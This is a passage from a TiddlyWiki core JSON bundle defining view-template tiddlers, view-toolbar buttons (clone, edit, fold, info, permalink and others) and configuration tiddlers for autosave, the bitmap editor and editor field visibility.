"text": "\\define lingo-base() $:/language/SideBar/\n<$button popup=<<qualify \"$:/state/popup/tag\">> class=\"tc-btn-invisible tc-untagged-label tc-tag-label\">\n<<lingo Tags/Untagged/Caption>>\n</$button>\n<$reveal state=<<qualify \"$:/state/popup/tag\">> type=\"popup\" position=\"below\">\n<div class=\"tc-drop-down\">\n<$list filter=\"[untagged[]!is[system]] -[tags[]] +[sort[title]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n</div>\n</$reveal>\n"
},
"$:/core/ui/ViewTemplate/body": {
"title": "$:/core/ui/ViewTemplate/body",
"tags": "$:/tags/ViewTemplate",
"text": "<$reveal tag=\"div\" class=\"tc-tiddler-body\" type=\"nomatch\" stateTitle=<<folded-state>> text=\"hide\" retain=\"yes\" animate=\"yes\">\n\n<$list filter=\"[all[current]!has[plugin-type]!field:hide-body[yes]]\">\n\n<$transclude>\n\n<$transclude tiddler=\"$:/language/MissingTiddler/Hint\"/>\n\n</$transclude>\n\n</$list>\n\n</$reveal>\n"
},
"$:/core/ui/ViewTemplate/classic": {
"title": "$:/core/ui/ViewTemplate/classic",
"tags": "$:/tags/ViewTemplate $:/tags/EditTemplate",
"text": "\\define lingo-base() $:/language/ClassicWarning/\n<$list filter=\"[all[current]type[text/x-tiddlywiki]]\">\n<div class=\"tc-message-box\">\n\n<<lingo Hint>>\n\n<$button set=\"!!type\" setTo=\"text/vnd.tiddlywiki\"><<lingo Upgrade/Caption>></$button>\n\n</div>\n</$list>\n"
},
"$:/core/ui/ViewTemplate/import": {
"title": "$:/core/ui/ViewTemplate/import",
"tags": "$:/tags/ViewTemplate",
"text": "\\define lingo-base() $:/language/Import/\n\n\\define buttons()\n<$button message=\"tm-delete-tiddler\" param=<<currentTiddler>>><<lingo Listing/Cancel/Caption>></$button>\n<$button message=\"tm-perform-import\" param=<<currentTiddler>>><<lingo Listing/Import/Caption>></$button>\n<<lingo Listing/Preview>> <$select tiddler=\"$:/state/importpreviewtype\" default=\"$:/core/ui/ImportPreviews/Text\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ImportPreview]!has[draft.of]]\">\n<option value=<<currentTiddler>>>{{!!caption}}</option>\n</$list>\n</$select>\n\\end\n\n<$list filter=\"[all[current]field:plugin-type[import]]\">\n\n<div class=\"tc-import\">\n\n<<lingo Listing/Hint>>\n\n<<buttons>>\n\n{{||$:/core/ui/ImportListing}}\n\n<<buttons>>\n\n</div>\n\n</$list>\n"
},
"$:/core/ui/ViewTemplate/plugin": {
"title": "$:/core/ui/ViewTemplate/plugin",
"tags": "$:/tags/ViewTemplate",
"text": "<$list filter=\"[all[current]has[plugin-type]] -[all[current]field:plugin-type[import]]\">\n<$set name=\"plugin-type\" value={{!!plugin-type}}>\n<$set name=\"default-popup-state\" value=\"yes\">\n<$set name=\"qualified-state\" value=<<qualify \"$:/state/plugin-info\">>>\n{{||$:/core/ui/Components/plugin-info}}\n</$set>\n</$set>\n</$set>\n</$list>\n"
},
"$:/core/ui/ViewTemplate/subtitle": {
"title": "$:/core/ui/ViewTemplate/subtitle",
"tags": "$:/tags/ViewTemplate",
"text": "\\whitespace trim\n<$reveal type=\"nomatch\" stateTitle=<<folded-state>> text=\"hide\" tag=\"div\" retain=\"yes\" animate=\"yes\">\n<div class=\"tc-subtitle\">\n<$link to={{!!modifier}} />\n<$view field=\"modified\" format=\"date\" template={{$:/language/Tiddler/DateFormat}}/>\n</div>\n</$reveal>\n"
},
"$:/core/ui/ViewTemplate/tags": {
"title": "$:/core/ui/ViewTemplate/tags",
"tags": "$:/tags/ViewTemplate",
"text": "<$reveal type=\"nomatch\" stateTitle=<<folded-state>> text=\"hide\" tag=\"div\" retain=\"yes\" animate=\"yes\">\n<div class=\"tc-tags-wrapper\"><$list filter=\"[all[current]tags[]sort[title]]\" template=\"$:/core/ui/TagTemplate\" storyview=\"pop\"/></div>\n</$reveal>\n"
},
"$:/core/ui/ViewTemplate/title": {
"title": "$:/core/ui/ViewTemplate/title",
"tags": "$:/tags/ViewTemplate",
"text": "\\whitespace trim\n\\define title-styles()\nfill:$(foregroundColor)$;\n\\end\n\\define config-title()\n$:/config/ViewToolbarButtons/Visibility/$(listItem)$\n\\end\n<div class=\"tc-tiddler-title\">\n<div class=\"tc-titlebar\">\n<span class=\"tc-tiddler-controls\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ViewToolbar]!has[draft.of]]\" variable=\"listItem\"><$reveal type=\"nomatch\" state=<<config-title>> text=\"hide\"><$set name=\"tv-config-toolbar-class\" filter=\"[<tv-config-toolbar-class>] [<listItem>encodeuricomponent[]addprefix[tc-btn-]]\"><$transclude tiddler=<<listItem>>/></$set></$reveal></$list>\n</span>\n<$set name=\"tv-wikilinks\" value={{$:/config/Tiddlers/TitleLinks}}>\n<$link>\n<$set name=\"foregroundColor\" value={{!!color}}>\n<span class=\"tc-tiddler-title-icon\" style=<<title-styles>>>\n<$transclude tiddler={{!!icon}}>\n<$transclude tiddler={{$:/config/DefaultTiddlerIcon}}/>\n</$transclude>\n</span>\n</$set>\n<$list filter=\"[all[current]removeprefix[$:/]]\">\n<h2 class=\"tc-title\" title={{$:/language/SystemTiddler/Tooltip}}>\n<span class=\"tc-system-title-prefix\">$:/</span><$text text=<<currentTiddler>>/>\n</h2>\n</$list>\n<$list filter=\"[all[current]!prefix[$:/]]\">\n<h2 class=\"tc-title\">\n<$view field=\"title\"/>\n</h2>\n</$list>\n</$link>\n</$set>\n</div>\n\n<$reveal type=\"nomatch\" text=\"\" default=\"\" state=<<tiddlerInfoState>> class=\"tc-tiddler-info tc-popup-handle\" animate=\"yes\" retain=\"yes\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TiddlerInfoSegment]!has[draft.of]] [[$:/core/ui/TiddlerInfo]]\" variable=\"listItem\"><$transclude tiddler=<<listItem>> mode=\"block\"/></$list>\n\n</$reveal>\n</div>"
},
"$:/core/ui/ViewTemplate/unfold": {
"title": "$:/core/ui/ViewTemplate/unfold",
"tags": "$:/tags/ViewTemplate",
"text": "<$reveal tag=\"div\" type=\"nomatch\" state=\"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold-bar\" text=\"hide\">\n<$reveal tag=\"div\" type=\"nomatch\" stateTitle=<<folded-state>> text=\"hide\" default=\"show\" retain=\"yes\" animate=\"yes\">\n<$button tooltip={{$:/language/Buttons/Fold/Hint}} aria-label={{$:/language/Buttons/Fold/Caption}} class=\"tc-fold-banner\">\n<$action-sendmessage $message=\"tm-fold-tiddler\" $param=<<currentTiddler>> foldedState=<<folded-state>>/>\n{{$:/core/images/chevron-up}}\n</$button>\n</$reveal>\n<$reveal tag=\"div\" type=\"nomatch\" stateTitle=<<folded-state>> text=\"show\" default=\"show\" retain=\"yes\" animate=\"yes\">\n<$button tooltip={{$:/language/Buttons/Unfold/Hint}} aria-label={{$:/language/Buttons/Unfold/Caption}} class=\"tc-unfold-banner\">\n<$action-sendmessage $message=\"tm-fold-tiddler\" $param=<<currentTiddler>> foldedState=<<folded-state>>/>\n{{$:/core/images/chevron-down}}\n</$button>\n</$reveal>\n</$reveal>\n"
},
"$:/core/ui/ViewTemplate": {
"title": "$:/core/ui/ViewTemplate",
"text": "\\define folded-state()\n$:/state/folded/$(currentTiddler)$\n\\end\n\\import [all[shadows+tiddlers]tag[$:/tags/Macro/View]!has[draft.of]]\n<$vars storyTiddler=<<currentTiddler>> tiddlerInfoState=<<qualify \"$:/state/popup/tiddler-info\">>><div data-tiddler-title=<<currentTiddler>> data-tags={{!!tags}} class={{{ tc-tiddler-frame tc-tiddler-view-frame [<currentTiddler>is[tiddler]then[tc-tiddler-exists]] [<currentTiddler>is[missing]!is[shadow]then[tc-tiddler-missing]] [<currentTiddler>is[shadow]then[tc-tiddler-exists tc-tiddler-shadow]] [<currentTiddler>is[shadow]is[tiddler]then[tc-tiddler-overridden-shadow]] [<currentTiddler>is[system]then[tc-tiddler-system]] [{!!class}] [<currentTiddler>tags[]encodeuricomponent[]addprefix[tc-tagged-]] +[join[ ]] }}}><$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ViewTemplate]!has[draft.of]]\" variable=\"listItem\"><$transclude tiddler=<<listItem>>/></$list>\n</div>\n</$vars>\n"
},
"$:/core/ui/Buttons/clone": {
"title": "$:/core/ui/Buttons/clone",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/clone-button}} {{$:/language/Buttons/Clone/Caption}}",
"description": "{{$:/language/Buttons/Clone/Hint}}",
"text": "\\whitespace trim\n<$button message=\"tm-new-tiddler\" param=<<currentTiddler>> tooltip={{$:/language/Buttons/Clone/Hint}} aria-label={{$:/language/Buttons/Clone/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/clone-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Clone/Caption}}/>\n</span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/close-others": {
"title": "$:/core/ui/Buttons/close-others",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/close-others-button}} {{$:/language/Buttons/CloseOthers/Caption}}",
"description": "{{$:/language/Buttons/CloseOthers/Hint}}",
"text": "\\whitespace trim\n<$button message=\"tm-close-other-tiddlers\" param=<<currentTiddler>> tooltip={{$:/language/Buttons/CloseOthers/Hint}} aria-label={{$:/language/Buttons/CloseOthers/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/close-others-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/CloseOthers/Caption}}/>\n</span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/close": {
"title": "$:/core/ui/Buttons/close",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/close-button}} {{$:/language/Buttons/Close/Caption}}",
"description": "{{$:/language/Buttons/Close/Hint}}",
"text": "\\whitespace trim\n<$button message=\"tm-close-tiddler\" tooltip={{$:/language/Buttons/Close/Hint}} aria-label={{$:/language/Buttons/Close/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/close-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text={{$:/language/Buttons/Close/Caption}}/>\n</span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/edit": {
"title": "$:/core/ui/Buttons/edit",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/edit-button}} {{$:/language/Buttons/Edit/Caption}}",
"description": "{{$:/language/Buttons/Edit/Hint}}",
"text": "\\whitespace trim\n<$button message=\"tm-edit-tiddler\" tooltip={{$:/language/Buttons/Edit/Hint}} aria-label={{$:/language/Buttons/Edit/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/edit-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Edit/Caption}}/>\n</span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/export-tiddler": {
"title": "$:/core/ui/Buttons/export-tiddler",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/export-button}} {{$:/language/Buttons/ExportTiddler/Caption}}",
"description": "{{$:/language/Buttons/ExportTiddler/Hint}}",
"text": "\\define makeExportFilter()\n[[$(currentTiddler)$]]\n\\end\n<$macrocall $name=\"exportButton\" exportFilter=<<makeExportFilter>> lingoBase=\"$:/language/Buttons/ExportTiddler/\" baseFilename=<<currentTiddler>>/>"
},
"$:/core/ui/Buttons/fold-bar": {
"title": "$:/core/ui/Buttons/fold-bar",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/chevron-up}} {{$:/language/Buttons/Fold/FoldBar/Caption}}",
"description": "{{$:/language/Buttons/Fold/FoldBar/Hint}}",
"text": "<!-- This dummy toolbar button is here to allow visibility of the fold-bar to be controlled as if it were a toolbar button -->"
},
"$:/core/ui/Buttons/fold-others": {
"title": "$:/core/ui/Buttons/fold-others",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/fold-others-button}} {{$:/language/Buttons/FoldOthers/Caption}}",
"description": "{{$:/language/Buttons/FoldOthers/Hint}}",
"text": "\\whitespace trim\n<$button tooltip={{$:/language/Buttons/FoldOthers/Hint}} aria-label={{$:/language/Buttons/FoldOthers/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-fold-other-tiddlers\" $param=<<currentTiddler>> foldedStatePrefix=\"$:/state/folded/\"/>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\" variable=\"listItem\">\n{{$:/core/images/fold-others-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/FoldOthers/Caption}}/>\n</span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/fold": {
"title": "$:/core/ui/Buttons/fold",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/fold-button}} {{$:/language/Buttons/Fold/Caption}}",
"description": "{{$:/language/Buttons/Fold/Hint}}",
"text": "\\whitespace trim\n<$reveal type=\"nomatch\" stateTitle=<<folded-state>> text=\"hide\" default=\"show\">\n<$button tooltip={{$:/language/Buttons/Fold/Hint}} aria-label={{$:/language/Buttons/Fold/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-fold-tiddler\" $param=<<currentTiddler>> foldedState=<<folded-state>>/>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\" variable=\"listItem\">\n{{$:/core/images/fold-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Fold/Caption}}/>\n</span>\n</$list>\n</$button>\n</$reveal>\n<$reveal type=\"match\" stateTitle=<<folded-state>> text=\"hide\" default=\"show\">\n<$button tooltip={{$:/language/Buttons/Unfold/Hint}} aria-label={{$:/language/Buttons/Unfold/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-fold-tiddler\" $param=<<currentTiddler>> foldedState=<<folded-state>>/>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\" variable=\"listItem\">\n{{$:/core/images/unfold-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Unfold/Caption}}/>\n</span>\n</$list>\n</$button>\n</$reveal>\n"
},
"$:/core/ui/Buttons/info": {
"title": "$:/core/ui/Buttons/info",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/info-button}} {{$:/language/Buttons/Info/Caption}}",
"description": "{{$:/language/Buttons/Info/Hint}}",
"text": "\\whitespace trim\n\\define button-content()\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/info-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text={{$:/language/Buttons/Info/Caption}}/>\n</span>\n</$list>\n\\end\n<$reveal state=\"$:/config/TiddlerInfo/Mode\" type=\"match\" text=\"popup\">\n<$button popup=<<tiddlerInfoState>> tooltip={{$:/language/Buttons/Info/Hint}} aria-label={{$:/language/Buttons/Info/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$macrocall $name=\"button-content\" mode=\"inline\"/>\n</$button>\n</$reveal>\n<$reveal state=\"$:/config/TiddlerInfo/Mode\" type=\"match\" text=\"sticky\">\n<$reveal state=<<tiddlerInfoState>> type=\"match\" text=\"\" default=\"\">\n<$button set=<<tiddlerInfoState>> setTo=\"yes\" tooltip={{$:/language/Buttons/Info/Hint}} aria-label={{$:/language/Buttons/Info/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$macrocall $name=\"button-content\" mode=\"inline\"/>\n</$button>\n</$reveal>\n<$reveal state=<<tiddlerInfoState>> type=\"nomatch\" text=\"\" default=\"\">\n<$button set=<<tiddlerInfoState>> setTo=\"\" tooltip={{$:/language/Buttons/Info/Hint}} aria-label={{$:/language/Buttons/Info/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$macrocall $name=\"button-content\" mode=\"inline\"/>\n</$button>\n</$reveal>\n</$reveal>"
},
"$:/core/ui/Buttons/more-tiddler-actions": {
"title": "$:/core/ui/Buttons/more-tiddler-actions",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/down-arrow}} {{$:/language/Buttons/More/Caption}}",
"description": "{{$:/language/Buttons/More/Hint}}",
"text": "\\whitespace trim\n\\define config-title()\n$:/config/ViewToolbarButtons/Visibility/$(listItem)$\n\\end\n<$button popup=<<qualify \"$:/state/popup/more\">> tooltip={{$:/language/Buttons/More/Hint}} aria-label={{$:/language/Buttons/More/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/down-arrow}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/More/Caption}}/>\n</span>\n</$list>\n</$button>\n<$reveal state=<<qualify \"$:/state/popup/more\">> type=\"popup\" position=\"belowleft\" animate=\"yes\">\n\n<div class=\"tc-drop-down\">\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"tc-btn-invisible\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ViewToolbar]!has[draft.of]] -[[$:/core/ui/Buttons/more-tiddler-actions]]\" variable=\"listItem\">\n\n<$reveal type=\"match\" state=<<config-title>> text=\"hide\">\n\n<$set name=\"tv-config-toolbar-class\" filter=\"[<tv-config-toolbar-class>] [<listItem>encodeuricomponent[]addprefix[tc-btn-]]\">\n\n<$transclude tiddler=<<listItem>> mode=\"inline\"/>\n\n</$set>\n\n</$reveal>\n\n</$list>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</div>\n\n</$reveal>"
},
"$:/core/ui/Buttons/new-here": {
"title": "$:/core/ui/Buttons/new-here",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/new-here-button}} {{$:/language/Buttons/NewHere/Caption}}",
"description": "{{$:/language/Buttons/NewHere/Hint}}",
"text": "\\whitespace trim\n\\define newHereActions()\n<$set name=\"tags\" filter=\"[<currentTiddler>] [{$:/config/NewTiddler/Tags!!tags}]\">\n<$action-sendmessage $message=\"tm-new-tiddler\" tags=<<tags>>/>\n</$set>\n\\end\n\\define newHereButton()\n<$button actions=<<newHereActions>> tooltip={{$:/language/Buttons/NewHere/Hint}} aria-label={{$:/language/Buttons/NewHere/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/new-here-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text={{$:/language/Buttons/NewHere/Caption}}/>\n</span>\n</$list>\n</$button>\n\\end\n<<newHereButton>>\n"
},
"$:/core/ui/Buttons/new-journal-here": {
"title": "$:/core/ui/Buttons/new-journal-here",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/new-journal-button}} {{$:/language/Buttons/NewJournalHere/Caption}}",
"description": "{{$:/language/Buttons/NewJournalHere/Hint}}",
"text": "\\whitespace trim\n\\define journalButtonTags()\n[[$(currentTiddlerTag)$]] $(journalTags)$\n\\end\n\\define journalButton()\n<$button tooltip={{$:/language/Buttons/NewJournalHere/Hint}} aria-label={{$:/language/Buttons/NewJournalHere/Caption}} class=<<tv-config-toolbar-class>>>\n<$wikify name=\"journalTitle\" text=\"\"\"<$macrocall $name=\"now\" format=<<journalTitleTemplate>>/>\"\"\">\n<$action-sendmessage $message=\"tm-new-tiddler\" title=<<journalTitle>> tags=<<journalButtonTags>>/>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/new-journal-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text={{$:/language/Buttons/NewJournalHere/Caption}}/>\n</span>\n</$list>\n</$wikify>\n</$button>\n\\end\n<$set name=\"journalTitleTemplate\" value={{$:/config/NewJournal/Title}}>\n<$set name=\"journalTags\" value={{$:/config/NewJournal/Tags!!tags}}>\n<$set name=\"currentTiddlerTag\" value=<<currentTiddler>>>\n<<journalButton>>\n</$set>\n</$set>\n</$set>\n"
},
"$:/core/ui/Buttons/open-window": {
"title": "$:/core/ui/Buttons/open-window",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/open-window}} {{$:/language/Buttons/OpenWindow/Caption}}",
"description": "{{$:/language/Buttons/OpenWindow/Hint}}",
"text": "\\whitespace trim\n<$button message=\"tm-open-window\" tooltip={{$:/language/Buttons/OpenWindow/Hint}} aria-label={{$:/language/Buttons/OpenWindow/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/open-window}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/OpenWindow/Caption}}/>\n</span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/permalink": {
"title": "$:/core/ui/Buttons/permalink",
"tags": "$:/tags/ViewToolbar",
"caption": "{{$:/core/images/permalink-button}} {{$:/language/Buttons/Permalink/Caption}}",
"description": "{{$:/language/Buttons/Permalink/Hint}}",
"text": "\\whitespace trim\n<$button message=\"tm-permalink\" tooltip={{$:/language/Buttons/Permalink/Hint}} aria-label={{$:/language/Buttons/Permalink/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/permalink-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Permalink/Caption}}/>\n</span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/permaview": {
"title": "$:/core/ui/Buttons/permaview",
"tags": "$:/tags/ViewToolbar $:/tags/PageControls",
"caption": "{{$:/core/images/permaview-button}} {{$:/language/Buttons/Permaview/Caption}}",
"description": "{{$:/language/Buttons/Permaview/Hint}}",
"text": "\\whitespace trim\n<$button message=\"tm-permaview\" tooltip={{$:/language/Buttons/Permaview/Hint}} aria-label={{$:/language/Buttons/Permaview/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/permaview-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Permaview/Caption}}/>\n</span>\n</$list>\n</$button>"
},
"$:/DefaultTiddlers": {
"title": "$:/DefaultTiddlers",
"text": "GettingStarted\n"
},
"$:/temp/advancedsearch": {
"title": "$:/temp/advancedsearch",
"text": ""
},
"$:/snippets/allfields": {
"title": "$:/snippets/allfields",
"text": "\\define renderfield(title)\n<tr class=\"tc-view-field\"><td class=\"tc-view-field-name\">''$title$'':</td><td class=\"tc-view-field-value\">//{{$:/language/Docs/Fields/$title$}}//</td></tr>\n\\end\n<table class=\"tc-view-field-table\"><tbody><$list filter=\"[fields[]sort[title]]\" variable=\"listItem\"><$macrocall $name=\"renderfield\" title=<<listItem>>/></$list>\n</tbody></table>\n"
},
"$:/config/AnimationDuration": {
"title": "$:/config/AnimationDuration",
"text": "400"
},
"$:/config/AutoFocus": {
"title": "$:/config/AutoFocus",
"text": "title"
},
"$:/config/AutoSave": {
"title": "$:/config/AutoSave",
"text": "yes"
},
"$:/config/BitmapEditor/Colour": {
"title": "$:/config/BitmapEditor/Colour",
"text": "#444"
},
"$:/config/BitmapEditor/ImageSizes": {
"title": "$:/config/BitmapEditor/ImageSizes",
"text": "[[62px 100px]] [[100px 62px]] [[124px 200px]] [[200px 124px]] [[248px 400px]] [[371px 600px]] [[400px 248px]] [[556px 900px]] [[600px 371px]] [[742px 1200px]] [[900px 556px]] [[1200px 742px]]"
},
"$:/config/BitmapEditor/LineWidth": {
"title": "$:/config/BitmapEditor/LineWidth",
"text": "3px"
},
"$:/config/BitmapEditor/LineWidths": {
"title": "$:/config/BitmapEditor/LineWidths",
"text": "0.25px 0.5px 1px 2px 3px 4px 6px 8px 10px 16px 20px 28px 40px 56px 80px"
},
"$:/config/BitmapEditor/Opacities": {
"title": "$:/config/BitmapEditor/Opacities",
"text": "0.01 0.025 0.05 0.075 0.1 0.15 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0"
},
"$:/config/BitmapEditor/Opacity": {
"title": "$:/config/BitmapEditor/Opacity",
"text": "1.0"
},
"$:/config/DefaultMoreSidebarTab": {
"title": "$:/config/DefaultMoreSidebarTab",
"text": "$:/core/ui/MoreSideBar/Tags"
},
"$:/config/DefaultSidebarTab": {
"title": "$:/config/DefaultSidebarTab",
"text": "$:/core/ui/SideBar/Open"
},
"$:/config/DownloadSaver/AutoSave": {
"title": "$:/config/DownloadSaver/AutoSave",
"text": "no"
},
"$:/config/Drafts/TypingTimeout": {
"title": "$:/config/Drafts/TypingTimeout",
"text": "400"
},
"$:/config/EditTemplateFields/Visibility/title": {
"title": "$:/config/EditTemplateFields/Visibility/title",
"text": "hide"
},
"$:/config/EditTemplateFields/Visibility/tags": {
"title": "$:/config/EditTemplateFields/Visibility/tags",
"text": "hide"
},
"$:/config/EditTemplateFields/Visibility/text": {
"title": "$:/config/EditTemplateFields/Visibility/text",
"text": "hide"
},
"$:/config/EditTemplateFields/Visibility/creator": {
"title": "$:/config/EditTemplateFields/Visibility/creator",
"text": "hide"
},
"$:/config/EditTemplateFields/Visibility/created": {
"title": "$:/config/EditTemplateFields/Visibility/created",
"text": "hide"
},
"$:/config/EditTemplateFields/Visibility/modified": {
"title": "$:/config/EditTemplateFields/Visibility/modified",
"text": "hide"
},
"$:/config/EditTemplateFields/Visibility/modifier": {
"title": "$:/config/EditTemplateFields/Visibility/modifier",
"text": "hide"
},
"$:/config/EditTemplateFields/Visibility/type": {
"title": "$:/config/EditTemplateFields/Visibility/type",
"text": "hide"
},
"$:/config/EditTemplateFields/Visibility/draft.title": {
"title": "$:/config/EditTemplateFields/Visibility/draft.title",
"text": "hide"
},
"$:/config/EditTemplateFields/Visibility/draft.of": {
"title": "$:/config/EditTemplateFields/Visibility/draft.of",
"text": "hide"
},
"$:/config/EditTemplateFields/Visibility/revision": {
"title": "$:/config/EditTemplateFields/Visibility/revision",
"text": "hide"
},
"$:/config/EditTemplateFields/Visibility/bag": {
"title": "$:/config/EditTemplateFields/Visibility/bag",
"text": "hide"
},
"$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-4": {
"title": "$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-4",
"text": "hide"
},
"$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-5": {
"title": "$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-5",
"text": "hide"
},
"$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-6": {
"title": "$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-6",
"text": "hide"
},
"$:/config/EditorTypeMappings/image/gif": {
"title": "$:/config/EditorTypeMappings/image/gif",
"text": "bitmap"
},
"$:/config/EditorTypeMappings/image/webp": {
"title": "$:/config/EditorTypeMappings/image/webp",
"text": "bitmap"
},
"$:/config/EditorTypeMappings/image/heic": {
"title": "$:/config/EditorTypeMappings/image/heic",
"text": "bitmap"
},
"$:/config/EditorTypeMappings/image/heif": {
"title": "$:/config/EditorTypeMappings/image/heif",
"text": "bitmap"
},
"$:/config/EditorTypeMappings/image/jpeg": {
"title": "$:/config/EditorTypeMappings/image/jpeg",
"text": "bitmap"
},
"$:/config/EditorTypeMappings/image/jpg": {
"title": "$:/config/EditorTypeMappings/image/jpg",
"text": "bitmap"
},
"$:/config/EditorTypeMappings/image/png": {
"title": "$:/config/EditorTypeMappings/image/png",
"text": "bitmap"
},
"$:/config/EditorTypeMappings/image/x-icon": {
"title": "$:/config/EditorTypeMappings/image/x-icon",
"text": "bitmap"
},
"$:/config/EditorTypeMappings/text/vnd.tiddlywiki": {
"title": "$:/config/EditorTypeMappings/text/vnd.tiddlywiki",
"text": "text"
},
"$:/config/Manager/Show": {
"title": "$:/config/Manager/Show",
"text": "tiddlers"
},
"$:/config/Manager/Filter": {
"title": "$:/config/Manager/Filter",
"text": ""
},
"$:/config/Manager/Order": {
"title": "$:/config/Manager/Order",
"text": "forward"
},
"$:/config/Manager/Sort": {
"title": "$:/config/Manager/Sort",
"text": "title"
},
